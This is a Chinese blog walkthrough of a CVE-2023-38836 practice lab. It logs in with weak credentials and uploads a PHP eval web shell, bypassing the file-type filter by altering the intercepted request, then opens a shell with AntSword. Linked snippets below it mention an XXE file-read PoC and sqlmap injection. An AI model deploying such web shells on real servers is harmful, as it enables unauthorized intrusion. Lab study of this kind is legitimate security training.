春秋云镜CVE-2023-38836

时间：2024-08-12 22:25:56浏览次数：13

打开靶场环境

点击发现一个登陆框，弱口令试一下

发现账号密码为admin,password

随便点击点击

Media发现这里可以上传文件上传木马试试

<?php @eval($_POST["wjq"]); ?>

发现不能上传php文件

php内容

修改他的格式

抓包绕过一下

302就可以其实已经写进去了点一下4.php的view复制路径

蚁剑远程连接

获得shell

标签：发现,php,文件,写进去,云镜,点击,38836,CVE,上传
From： https://blog.csdn.net/m0_74214882/article/details/141035299

CVE-2019-12422~shiro反序列化【春秋云境靶场渗透】
#今天我们来攻克CVE-2019-12422春秋云境这个靶场漏洞当我们知道了该靶场是shiro反序列化漏洞，所以直接用工具梭哈好小子，离成功又近一步！！！......
CVE-2023-38633~XXE注入【春秋云境靶场渗透】
今天我们来攻克春秋云境CTF的CVE-2023-38633#我们通过抓包来构造POC来查找/etc/passwd<?xmlversion="1.0"encoding="UTF-8"standalone="no"?><svgwidth="1000"height="1000"xmlns:xi="http://www.w3.org/2001/XInclude&......
远程桌面授权服务远程代码执行漏洞(CVE-2024-38077)漏洞预警
影响范围开启了RDL服务的WindowsServer2000到2025都会受到影响满足以上条件可以直接RCE关于RDL服务名全称，RemoteDesktopLicensing，如图：这个就是RDL服务，一般运维应该不会刻意去安装这个的，常用自带默认的远程桌面服务加个白名单就够了：解决办法1、没装RDL服务的不用管2......
OpenSSH 信息泄漏漏洞 (CVE-2023-51385)【低可信】
详细信息跳转此页面：https://blog.csdn.net/python10101/article/details/140083056?spm=1001.2101.3001.6650.3&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-3-140083056-blog-137541643.235%5Ev43%5Epc_blog_bottom_relevance_base3......
spring 代码执⾏（CVE-2018-1273）漏洞
一漏洞简介SpringData是⼀个⽤于简化数据库访问，并⽀持云服务的开源框架，SpringDataCommons是SpringData下所有⼦项⽬共享的基础框架。SpringDataCommons在2.0.5及以前版本中，存在⼀处SpEL表达式注⼊漏洞，攻击者可以注⼊恶意SpEL表达式以执⾏任意命令 ......
Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)
简介：Spring是JavaEE编程领域的⼀个轻量级开源框架，该框架由⼀个叫RodJohnson的程序员在2002年最早提出并随后创建，是为了解决企业级编程开发中的复杂性，业务逻辑层和其他各层的松耦合问题，因此它将⾯向接⼝的编程思想贯穿整个系统应⽤，实现敏捷开发的应⽤型框架。框架的主要优......
Goby漏洞发布 | CVE-2024-38856 Apache OFbiz /ProgramExport 命令执行漏洞【已复现】
漏洞名称：ApacheOFbiz/ProgramExport命令执行漏洞（CVE-2024-38856）EnglishName：ApacheOFbiz/ProgramExportCommandExecutionVulnerability(CVE-2024-38856)CVSScore:9.0漏洞描述：ApacheOFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的......
Apache OFBiz 授权不当致远程代码执行漏洞(CVE-2024-38856)
0x01产品简介ApacheOFBiz是一个电子商务平台，用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。是美国阿帕奇（Apache）基金会的一套企业资源计划（ERP）系统。该系统提供了一整套基于Java的Web应用程序组件和工具。0x02漏洞概述2024年8月......
CVE-2023-7130漏洞靶场复现
CollegeNotesGallery2.0允许通过“/notes/login.php”中的参数‘user’进行SQL注入。利用这个问题可能会使攻击者有机会破坏应用程序，访问或修改数据.抓登录包放sqlmap爆破直接--dump一把梭哈......
CVE-2023-0562银行储物柜管理系统登录页面sql注入漏洞靶场复现
在PHPGurukul银行储物柜管理系统1.0中发现了一个漏洞。它被评定为临界状态。受此问题影响的是组件登录的文件index.php的一些未知功能。对参数username的操作会导致sql注入。攻击可能是远程发起的。该漏洞已被公开，并可能被利用。此漏洞的标识符是VDB-219716。抓登录包放salmap......

春秋云镜CVE-2023-38836

相关文章

赞助商

阅读排行